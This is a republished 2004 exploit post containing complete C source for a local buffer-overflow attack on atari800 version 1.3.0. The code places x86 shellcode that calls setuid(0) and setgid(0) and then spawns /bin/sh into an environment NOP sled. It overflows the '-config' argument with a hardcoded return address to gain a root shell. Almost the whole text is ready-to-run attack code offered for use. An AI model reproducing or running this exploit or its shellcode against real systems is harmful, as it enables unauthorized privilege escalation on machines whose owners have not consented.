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Exploit for atari800 version 1.3.0
来源:www.pi3.int.pl 作者:pi3 发布时间:2004-07-21  

Exploit for atari800 version 1.3.0


/*
* Exploit for atari800 version 1.3.0 by pi3 (pi3ki31ny)
* Bug founed by Steve Kemp
* The post in bugtraq:
* http://www.securityfocus.com/bid/8322
* Greetz: [greetz on my web] && other my friends (you know who you are)
*
* ...::: -=[ www.pi3.int.pl ]=- :::...
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>

#define PATH "/usr/local/bin/atari800"
#define BUFS 250

/* ...::: -=[ www.pi3.int.pl ]=- :::... */

char shellcode[] = "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68\x3a"
"\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20\x5d"
"\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69\x68"
"\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68\x3a\x3a"
"\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04\xcd"
"\x80"

/* setuid(0) */

"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"

/* setgid(0) */

"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"

/* exec /bin/sh */

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
"\x80"

/* exit(0) */

"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

long ret_ad(char *a1, char *a2) {

// return (0xbffffffa-strlen(a1)-strlen(a2));
return 0xbfffee01;
}

int ussage(char *arg) {

printf("\n\t...::: -=[ exploit for atari800 version 1.3.0 by pi3 (pi3ki31ny) ]=- :::...\n");
printf("\n\tUssage:\n\t[+] %s [options]\n
-? <this help screen>
-o <offset>
-p PATH\n\n",arg);
exit(-1);
}

int main(int argc, char *argv[]) {

long ret,*buf_addr;
char *buf,envp[8196],*path=PATH;
static char *sh[0x02];
int i,opt,offset=0;
FILE *fp;

while((opt = getopt(argc,argv,"p:o:?")) != -1) {
switch(opt) {

case 'o':

offset=atoi(optarg);
break;

case 'p':

path=optarg;
break;

case '?':
default:

ussage(argv[0]);
break;
}
}

if ( (fp=fopen(path,"r"))==NULL) {
printf("\n*\tI can\'t open path to victim! - %s\t*\n\n",path);
ussage(argv[0]);
} fclose(fp);

if (!(buf=(char*)malloc(BUFS))) {
printf("\nI can\'t locate memory! - buf\n");
exit(-1);
}

printf("\n\t...::: -=[ exploit for atari800 version 1.3.0 by pi3 (pi3ki31ny) ]=- :::...\n");
printf("\n\t[+] Bulding buffors!\n");

ret=ret_ad(shellcode,path);
ret+=offset;

printf("\t[+] Using adres 0x%x\n",ret);

memset(envp,0x90,sizeof(envp));
for (i=0; i<strlen(shellcode); i++)
envp[8196-strlen(shellcode)+i] = shellcode[i];
sh[0x00]=envp;
sh[0x01]=NULL;

strcpy(buf,"AA");
buf_addr=(long*)&buf[2];

for(i=0;i<BUFS;i+=4) {
*(buf_addr) = ret; buf_addr++;
}

printf("\nExecuting the vuln program - %s\n\n",path);

execle(path,path,"-config", buf, 0, sh);

return 0;
}




 
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